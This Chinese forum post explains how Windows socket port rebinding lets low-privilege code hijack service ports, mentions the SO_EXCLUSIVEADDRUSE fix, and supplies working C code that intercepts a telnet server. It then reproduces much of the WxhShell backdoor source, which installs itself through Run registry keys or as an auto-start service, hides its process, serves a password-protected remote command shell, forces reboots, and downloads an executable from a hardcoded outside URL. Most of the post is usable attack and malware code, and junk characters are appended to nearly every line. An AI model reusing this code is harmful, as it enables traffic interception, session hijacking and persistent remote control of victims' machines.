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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: aoCyYnZD  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2 OGg`1XX  
V# Wd   
  saddr.sin_family = AF_INET; 'r'uR5jR  
.!Z.1:YR  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =si<OB  
>w V$az  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >u6kT\|^C  
iedoL0#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :qnRiK]  
{wd.aUB  
  这意味着什么?意味着可以进行如下的攻击: VNMhtwmK,  
jCy2bE  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %5uuB4P&|$  
)~WxNn3rx  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8IVKS>  
5[I 9/4,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 H p1cVs  
|_2O:7qe  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  M>'-P  
} #$Y^ +UN  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (D))?jnC  
esxU44  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 o fN|%g /  
*%g*Np_P  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f)*}L?  
kR'!;}s  
  #include r{Xh]U&>k  
  #include rj,Sk~0Q  
  #include cDLS)  
  #include    & 8e~<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Prr<:q  
  int main() WT!%FQ9  
  { KaO8rwzDN  
  WORD wVersionRequested; +DVU"d  
  DWORD ret; 2< ^B]N  
  WSADATA wsaData; b$VdTpz  
  BOOL val; o%CBSm]  
  SOCKADDR_IN saddr; sHAzg^n}r  
  SOCKADDR_IN scaddr; Ei}B9 &O  
  int err; O@Xl_QNxc!  
  SOCKET s; 2)mKcUL-  
  SOCKET sc; 2\m+  
  int caddsize; `Ol*"F.+I  
  HANDLE mt; oz@yF)/Sm  
  DWORD tid;   Px)VDs=k  
  wVersionRequested = MAKEWORD( 2, 2 ); Nnx"b 5I}n  
  err = WSAStartup( wVersionRequested, &wsaData ); u\>Ed9^  
  if ( err != 0 ) { v!40>[?|p  
  printf("error!WSAStartup failed!\n"); Pbz-I3+66  
  return -1; 5>/,25 99  
  } !+CRS9\D   
  saddr.sin_family = AF_INET; )|\72Z~eq  
   U9kt7#@FDK  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (\M&/X~q  
:m-HHWMN  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); e,8C} 2  
  saddr.sin_port = htons(23); !%]]lxi  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "jb?P$  
  { AY|8wf,LS  
  printf("error!socket failed!\n"); YAd.i@^  
  return -1; @l BR;B"  
  } }1epn#O_4  
  val = TRUE; 5 LXK#+Z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2I6c7H s  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) G8eAj%88  
  { [+>$'Du  
  printf("error!setsockopt failed!\n"); tNfku  
  return -1; =suj3.   
  } aRg- rz  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; RIb< 7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^yjc"r%B  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "l2_7ZXsPT  
42 8kC,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) q4lL7@_  
  { +-`Q}~s+  
  ret=GetLastError(); +g\u=&< 6  
  printf("error!bind failed!\n"); 4 ILCvM  
  return -1; D",ZrwyJ  
  } b8Y1.y"#  
  listen(s,2); r'k-*I  
  while(1) 3fn6W)v?  
  { \S1WF ?<,  
  caddsize = sizeof(scaddr); Pgs4/  
  //接受连接请求 Ku56TH!Py  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); JzCfs<D  
  if(sc!=INVALID_SOCKET) l% K9Ke  
  { x^9W<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); h}rrsVj3  
  if(mt==NULL) Cm(Hu  
  { !#g`R?:g  
  printf("Thread Creat Failed!\n"); s%;18V:pi  
  break; Y Q3%vH5#y  
  } %\Ig{Rj;  
  } J4xt!RW!  
  CloseHandle(mt); q1`uS^3`  
  } rh/3N8[6  
  closesocket(s); noGMfZ1  
  WSACleanup(); o7&Z4(V  
  return 0; J6rXb ui$  
  }   @N1ta-D#  
  DWORD WINAPI ClientThread(LPVOID lpParam) `:?padZG  
  { :.DCRs$Q  
  SOCKET ss = (SOCKET)lpParam; 9O~1o?ni  
  SOCKET sc; hFs0qPVY  
  unsigned char buf[4096]; : :e=6i  
  SOCKADDR_IN saddr; ^~eT# Y8  
  long num; W^P%k:anK  
  DWORD val; JwxI8Pi*y  
  DWORD ret;  @X  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _f{'&YhUU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   E!C~*l]wJx  
  saddr.sin_family = AF_INET; h:Npi `y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); z2wR]G5!  
  saddr.sin_port = htons(23); mzfj!0zR*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _dIv{L!  
  { o_X"+s  
  printf("error!socket failed!\n"); xBR2tDi%  
  return -1; (:vY:-\ bO  
  } i!ejK6Q  
  val = 100; I]jVnQ>&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VL7zU->  
  { ) l0=j b  
  ret = GetLastError(); QJvA  
  return -1; .#lQZo6$\|  
  } SI8mr`gJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b?h"a<7  
  { X];a(7+2  
  ret = GetLastError(); ~?+Jt3?,  
  return -1; cQS}pQyYN  
  } V~NS<!+q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) b"/P  
  { - "h {B  
  printf("error!socket connect failed!\n"); k0{Mq<V*%  
  closesocket(sc); mVP@c&1w?  
  closesocket(ss); \ Lrg:  
  return -1; 0E o*C9FP~  
  } 57%:0loW  
  while(1) wvBJ?t,  
  { 7f~.Qus  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 QU8?/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 h9 [ov)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ZYc)_Og  
  num = recv(ss,buf,4096,0); lH T?  
  if(num>0) li$(oA2  
  send(sc,buf,num,0); G'#a&6  
  else if(num==0) CQ"5bnR  
  break; drNfFx 2  
  num = recv(sc,buf,4096,0); [gqV}Y"Md  
  if(num>0) oju4.1  
  send(ss,buf,num,0); P0 hC4Sxf  
  else if(num==0) GyRU/0'BME  
  break; ZMy,<wk  
  } 7o'kdY Jzo  
  closesocket(ss); G0xk @SE  
  closesocket(sc); FgKDk!ci  
  return 0 ; p/4GOU5g  
  } u2@:[:Ao  
@0-<|,^]  
)Uo)3FAn  
========================================================== wRi!eN?  
-]A,SBs  
下边附上一个代码,,WXhSHELL GbBcC#0  
w)5eD+n\-  
========================================================== &,3.V+Sz  
|r%6;8A]i  
#include "stdafx.h" cQA;Y!Q #  
k`'^e/  
#include <stdio.h> .ie\3q)  
#include <string.h> Xj.6A,}^  
#include <windows.h> qMmh2a&  
#include <winsock2.h> yI)~- E.  
#include <winsvc.h> O F2*zU7M  
#include <urlmon.h> 3K_J"B*7  
h/QZcA  
#pragma comment (lib, "Ws2_32.lib") 0\k2F,:%4  
#pragma comment (lib, "urlmon.lib") B24wn8<  
|36d<b Io  
#define MAX_USER   100 // 最大客户端连接数 >E^sZmY[f-  
#define BUF_SOCK   200 // sock buffer ri.;&  
#define KEY_BUFF   255 // 输入 buffer %f*8JUE16  
?qO_t;:0>  
#define REBOOT     0   // 重启 X8GIRL)lJ  
#define SHUTDOWN   1   // 关机 )8!""n~  
J XPE9uH  
#define DEF_PORT   5000 // 监听端口 BwEO2a{  
~]O~a}]g(  
#define REG_LEN     16   // 注册表键长度 g-bHf]'  
#define SVC_LEN     80   // NT服务名长度  &)T5V  
l*e*jA_>:7  
// 从dll定义API s%1O}X$c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p?>(y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }} J?, >g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bd5\Rt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pi 7W8y  
:uSo 2d  
// wxhshell配置信息 Uz} #.  
struct WSCFG { AU OL?st  
  int ws_port;         // 监听端口 AD_")_B|i  
  char ws_passstr[REG_LEN]; // 口令  zN: VT&  
  int ws_autoins;       // 安装标记, 1=yes 0=no bzF>Efza  
  char ws_regname[REG_LEN]; // 注册表键名 -B*= V  
  char ws_svcname[REG_LEN]; // 服务名 x&@. [FJhO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +? E~F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6k|o<`~,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *%=BcV+,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |a*VoMZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zogw1g&C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hs!a'E  
&5h{XSv  
}; {P&{+`sov  
"3(""0Q  
// default Wxhshell configuration  iVu  
struct WSCFG wscfg={DEF_PORT, KLBU8%  
    "xuhuanlingzhe", nD@/,kw"  
    1, 3"NO"+Q  
    "Wxhshell", ZX'q-JUv f  
    "Wxhshell", |-a5|3  
            "WxhShell Service", k Pi%RvuQ  
    "Wrsky Windows CmdShell Service", U0 nSI  
    "Please Input Your Password: ", ;wK;  
  1, >E;kM B  
  "http://www.wrsky.com/wxhshell.exe",  Tvqq#;I  
  "Wxhshell.exe" WYSqnmi  
    }; opU=49 b  
|r>+\" X  
// 消息定义模块 7 XE&[o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; PV$)k>H-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6<u =hhL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n?!XNXb  
char *msg_ws_ext="\n\rExit."; S81% iz.n  
char *msg_ws_end="\n\rQuit."; BZ* ',\o  
char *msg_ws_boot="\n\rReboot..."; 2FU+o\1 %  
char *msg_ws_poff="\n\rShutdown..."; 1LYz X;H1  
char *msg_ws_down="\n\rSave to "; t(AW2{%}  
+pXYBwH 7Q  
char *msg_ws_err="\n\rErr!"; |;sL*Vr  
char *msg_ws_ok="\n\rOK!"; 8eq*q   
2[ = =  
char ExeFile[MAX_PATH]; '9@S  
int nUser = 0; p!B& &)&db  
HANDLE handles[MAX_USER]; v3PtiKS  
int OsIsNt; o&0fvCpW  
;-sZaU;  
SERVICE_STATUS       serviceStatus; FjR/_GPo6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E6JfSH#  
5.! OC5tO  
// 函数声明 #{K}o}  
int Install(void); 0)F.Y,L  
int Uninstall(void); Z.'j7(tu  
int DownloadFile(char *sURL, SOCKET wsh); QOiPDu=8z  
int Boot(int flag); v=5H,4UMA  
void HideProc(void); HVjN<HIqM  
int GetOsVer(void); Pt5"q3ec{T  
int Wxhshell(SOCKET wsl); A0X'|4I  
void TalkWithClient(void *cs); mh#NmW>n  
int CmdShell(SOCKET sock); 6Cw+  
int StartFromService(void); /5:2g# S4  
int StartWxhshell(LPSTR lpCmdLine); epN> ;e z  
_E'F   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6<1 2j7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sjGy=d{:oL  
v z6No%8X  
// 数据结构和表定义 4fauI%kc  
SERVICE_TABLE_ENTRY DispatchTable[] = }uP`=T!"8  
{ " GRR,7A  
{wscfg.ws_svcname, NTServiceMain}, & pHSX  
{NULL, NULL} bUvVt3cm  
}; Z5/*i un  
rebnV&-  
// 自我安装 e~oh%l^C72  
int Install(void) <<'%2q5  
{ BOt1J_;(rO  
  char svExeFile[MAX_PATH]; `vjn,2S}  
  HKEY key; )qSjI_qt5  
  strcpy(svExeFile,ExeFile); ]31>0yj[Q  
4 .Kl/b;  
// 如果是win9x系统,修改注册表设为自启动 n8 UG{. =  
if(!OsIsNt) { Lb]!TOl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )7]la/0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x{DTVa 6y2  
  RegCloseKey(key); K@%o$S?>z_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { La>fvm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OSoIH`t A  
  RegCloseKey(key); LV2#w_^I  
  return 0; |7%has3"  
    } [}$jO,H5r  
  } #`]`gNB0Yg  
} ej91)3AO  
else { j]HzI{7y  
:2t0//@X  
// 如果是NT以上系统,安装为系统服务 { 9:vq|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |$|B0mj  
if (schSCManager!=0) Es<& 6  
{ ;*%3J$T+  
  SC_HANDLE schService = CreateService ,J6t 1V  
  ( YCl&}/.pA  
  schSCManager, >Nam@,hm  
  wscfg.ws_svcname, ZLDO&}  
  wscfg.ws_svcdisp, "DO|B=EejP  
  SERVICE_ALL_ACCESS, |N5r_V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~ =GwNo_  
  SERVICE_AUTO_START, P2Jo^WS  
  SERVICE_ERROR_NORMAL, RGgePeaw  
  svExeFile, 8Z|A'M  
  NULL,  p!> 5}f6  
  NULL, <-6f}wN  
  NULL, %$D n);6=  
  NULL, VLPPEV-u  
  NULL 2Tp @;[!3  
  ); zMke}2  
  if (schService!=0) FEH+ PKSc  
  { |)VNf .aJZ  
  CloseServiceHandle(schService); B>}B{qi|  
  CloseServiceHandle(schSCManager); XX7zm_>+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C'~E q3  
  strcat(svExeFile,wscfg.ws_svcname); lVv'_9yg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lvAKL>qX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E3LEeXcLS  
  RegCloseKey(key); %W}YtDf\  
  return 0; hbdB67,  
    } Mfn^v:Q#  
  } T)MX]T  
  CloseServiceHandle(schSCManager); {S@gjMuN  
} s"UUo|hM  
} ++sbSl)Q  
BT)PD9CN(  
return 1; WA6reZ  
} |.KB  
G %A!yV  
// 自我卸载 a[VX)w_W{  
int Uninstall(void) w=_q<1a  
{ }y1r yeW<  
  HKEY key; .[r1Qz7G  
1l5'N=hL  
if(!OsIsNt) { +H:}1sT;n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DHg)]FQ/  
  RegDeleteValue(key,wscfg.ws_regname); A]laS7Q  
  RegCloseKey(key); W(}2R>$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b*(, W  
  RegDeleteValue(key,wscfg.ws_regname); p;qFMzyS9  
  RegCloseKey(key); wpWZn[j  
  return 0; C2CR#b=)i  
  } {[4.<|26  
} "!Qi$ ]  
} Tn"@u&P *  
else { 7{tU'`P>  
W|Cs{rBc?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 99\lZ{f(  
if (schSCManager!=0) +[ng99p  
{ V%(T#_E/6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); An_3DrUFV_  
  if (schService!=0) bt*  
  { 2]y Hxo/6  
  if(DeleteService(schService)!=0) { \[G"/]J  
  CloseServiceHandle(schService); ;qO3m -(d  
  CloseServiceHandle(schSCManager); c|@OD3w2lM  
  return 0; X?YT>+g;  
  } =Fc}T%  
  CloseServiceHandle(schService); q[Tl#*P?y  
  } cQ;@z2\  
  CloseServiceHandle(schSCManager); #qu;{I#W3  
} eiCmd =O7  
} $O&N  
9?q ^yy  
return 1; nA(5p?D+YB  
} 8=@f lK  
NFyV02.  
// 从指定url下载文件 NoMlTh(O  
int DownloadFile(char *sURL, SOCKET wsh) Kum" }ux  
{ .HN4xL  
  HRESULT hr; Uw]o9 e0S  
char seps[]= "/"; }vU^g PH  
char *token; 7~r_nP_  
char *file; <Mndr 8 H  
char myURL[MAX_PATH]; SKF0p))BJ  
char myFILE[MAX_PATH]; 'C=(?H)M  
L=<$^m  
strcpy(myURL,sURL); U'^ G-@  
  token=strtok(myURL,seps); l, 9r d[  
  while(token!=NULL) Ng1bjq}E2  
  { Pv=]7> e  
    file=token; f9OY> |a9  
  token=strtok(NULL,seps); *k Tj,&x[  
  } g*Pn_Yo[.  
EL%Pv1  
GetCurrentDirectory(MAX_PATH,myFILE); 1,:QrhC  
strcat(myFILE, "\\"); ,k1ns?i9KH  
strcat(myFILE, file); p-m\0tQ  
  send(wsh,myFILE,strlen(myFILE),0); iMv):1p>8  
send(wsh,"...",3,0); D^xg2D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +xAD;A4  
  if(hr==S_OK) -'}#j\  
return 0; _>a`dp.19  
else yRi5t{!V  
return 1; mo9(2@~<  
$> ;|  
} s1R#X~d  
39m8iI%w[  
// 系统电源模块 vTo+jQs^  
int Boot(int flag) bxPJ5oT  
{ A>,kmU5  
  HANDLE hToken; 3kh!dL3D  
  TOKEN_PRIVILEGES tkp; k%8kt4\wn6  
M;W&#Fz%  
  if(OsIsNt) { PZvc4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AHMvh 7O?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S?zP; iFj  
    tkp.PrivilegeCount = 1; [0 rH/{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O 3?^P"C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Rqbz3h~  
if(flag==REBOOT) { 1cx%+-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TD-B\ @_  
  return 0; P)LQ=b}V#;  
} wz@[rMf  
else { ,gW$m~\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A6+qS [  
  return 0; [VLq/lg*  
} Zx`/88!x[  
  } ~.6% %1?  
  else { c}!`tBTm  
if(flag==REBOOT) { g6xQQ,q=l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -7XaS&.4  
  return 0; ,S m?2<  
} _dECAk &b  
else { i!fk'Yt%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {MN6JGb|'  
  return 0; YzJWS|]  
} tk)}4b^\%j  
} V3T.EW  
h#Mx(q  
return 1; C?MKb D=K  
} zlB[Eg^X  
v9!] /]U^  
// win9x进程隐藏模块 =(~*8hJ  
void HideProc(void) a^^OI|?  
{ fB&i{_J  
5!wjYQt3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cmYzS6f,7  
  if ( hKernel != NULL ) VD $PoP  
  { >p#_ L^oZ%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); OlptO60{ ]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D+N@l"U{  
    FreeLibrary(hKernel); _,v>P2)  
  } fh66Gn,  
4#t=%}  
return; AFeFH.G6Jr  
} o.Bbb=*rZ  
D(&Zq7]n  
// 获取操作系统版本 t8;nP[`  
int GetOsVer(void) rWqr-"0S.  
{ Z#l6BXK  
  OSVERSIONINFO winfo; ^jcVJpyT@R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "Er8RUJA  
  GetVersionEx(&winfo); "HwlN_PA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =EH/~NGk  
  return 1; ++ 5!8Nv  
  else O;&5> W,Z  
  return 0; 5E 9R+N  
} Bk@EQdn  
:c Er{U8  
// 客户端句柄模块 sk_xQo#Y 3  
int Wxhshell(SOCKET wsl) gxJ12' m  
{ h`eHoKJ#w  
  SOCKET wsh; |eFaOL|  
  struct sockaddr_in client; ~$rSy|19  
  DWORD myID; mVN\  
(dy:d^  
  while(nUser<MAX_USER) "\]]?&  
{ eht>4)  
  int nSize=sizeof(client); ;>fM?ae5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); biForT_no  
  if(wsh==INVALID_SOCKET) return 1; PBcb*7W  
/n:Q>8^n'W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); meXwmO  
if(handles[nUser]==0) ^; }Y ZBy  
  closesocket(wsh); gKmF#Z"\  
else W^c /l*>v  
  nUser++; *.VNyay  
  } 2S4SG\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `Tk~?aY  
0QW;=@)d  
  return 0; ($8!r|g5#  
} 4Me3{!HJz  
)T&r770  
// 关闭 socket 2z AxGX  
void CloseIt(SOCKET wsh) ;!7M<T$&  
{ -a"b:Q  
closesocket(wsh); I47sqz7  
nUser--; 5^CWF|  
ExitThread(0); gR_Exs'K  
} w'y,$gtX/  
k! x`cp  
// 客户端请求句柄 K(?p]wh  
void TalkWithClient(void *cs) kbbHa_;aqV  
{ rt?*eC1b+Z  
aZ|S$-}  
  SOCKET wsh=(SOCKET)cs; W[e2J&G  
  char pwd[SVC_LEN]; bweAmSs  
  char cmd[KEY_BUFF]; 5d# 73)x$  
char chr[1]; $:UD #eh0?  
int i,j; rd24R-6  
pX$ X8z%  
  while (nUser < MAX_USER) { y@AUSh;  
[By|3 bI  
if(wscfg.ws_passstr) { T{N8 K K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _Kh8 <$h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mtw{7 E  
  //ZeroMemory(pwd,KEY_BUFF); Df]*S  
      i=0; oh9L2"  
  while(i<SVC_LEN) { >7 cDfv"  
E}#&2n8Y  
  // 设置超时 KFaYn  
  fd_set FdRead; l&m Y}k  
  struct timeval TimeOut; }^b  
  FD_ZERO(&FdRead); RXu` DWN  
  FD_SET(wsh,&FdRead); dYlVJ_0Zr  
  TimeOut.tv_sec=8; dl`{:ZR S  
  TimeOut.tv_usec=0; 9A|9:OdG1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )t:8;;W@Ir  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  ;<%th  
~LP5hL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %F}d'TPx  
  pwd=chr[0]; F ^m;xy  
  if(chr[0]==0xd || chr[0]==0xa) { W A*1_  
  pwd=0; M!%|IKw  
  break; -3m!970  
  } FJ{&R Ld  
  i++; hx4c`fOs  
    } X+N8r^&  
k @gQY_  
  // 如果是非法用户,关闭 socket LW9F%?e!>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S/l6c P  
} #>sI XY  
u% =2g'+)_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8_O?#JYi  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HXPq+  
1F+JyZK}w  
while(1) { )@=fGNDt  
[dqh-7  
  ZeroMemory(cmd,KEY_BUFF); |8)\8b|VuC  
h}DKFrHW;-  
      // 自动支持客户端 telnet标准   U8,pe;/ln`  
  j=0; e+<9Sh7&  
  while(j<KEY_BUFF) { Q|U [|U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kQn}lD  
  cmd[j]=chr[0]; Lzcea+*uw  
  if(chr[0]==0xa || chr[0]==0xd) { ~]n=TEJ>  
  cmd[j]=0; H!l 9a  
  break; wLvM<p7OX  
  } IABF_GwF  
  j++; {.e^1qE  
    } hZ "Sqm]  
0JqvV  
  // 下载文件 eF' l_*  
  if(strstr(cmd,"http://")) { fP$rOJ)P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "g!ek3w(  
  if(DownloadFile(cmd,wsh)) }'n]C|gZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oq)7XL4  
  else C\^,+)Y\~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  }_7  
  } 0\!v{A> I'  
  else { QiJ  
lnF{5zc  
    switch(cmd[0]) { LyL(~Jc|  
  _c}# f\ +_  
  // 帮助 E@AV?@<sc  
  case '?': { J=HN~B1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0F 2p4!@W  
    break; >&^jKfY  
  } @3S:W2k  
  // 安装 e_cK#9+  
  case 'i': { BKgCuz:y  
    if(Install()) D6C h6i5$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BPVOBL@   
    else x+DecO2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cIrc@  
    break; k~fH:X~x  
    } }XqC'z  
  // 卸载 6)>otB8)J  
  case 'r': { ofPv?_@  
    if(Uninstall()) ViG>gMGv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  s=556  
    else Py?Q::  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lg|d[*;'7  
    break; /w2-Pgm-[\  
    } ,lFp4 C  
  // 显示 wxhshell 所在路径 jX^_(Kg  
  case 'p': { MT$)A:"  
    char svExeFile[MAX_PATH]; 6& 6|R3  
    strcpy(svExeFile,"\n\r"); o^r\7g6\  
      strcat(svExeFile,ExeFile); v2="j  
        send(wsh,svExeFile,strlen(svExeFile),0); D_`NCnYG  
    break; J"TF@7{p  
    } X}g3[  
  // 重启 ,,BWWFg~  
  case 'b': { {kr14 l*2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M5L/3qLh1  
    if(Boot(REBOOT)) e^$JGh2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G.PRPl  
    else { 'K#ndCGJ$  
    closesocket(wsh); e*U6^Xex  
    ExitThread(0); xErb11  
    } ;uzLa%JQ  
    break; E]=>@EX  
    } qwO@>wQ}~  
  // 关机 mkl^2V13~  
  case 'd': { 1I)oT-~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C2\zbC[qm  
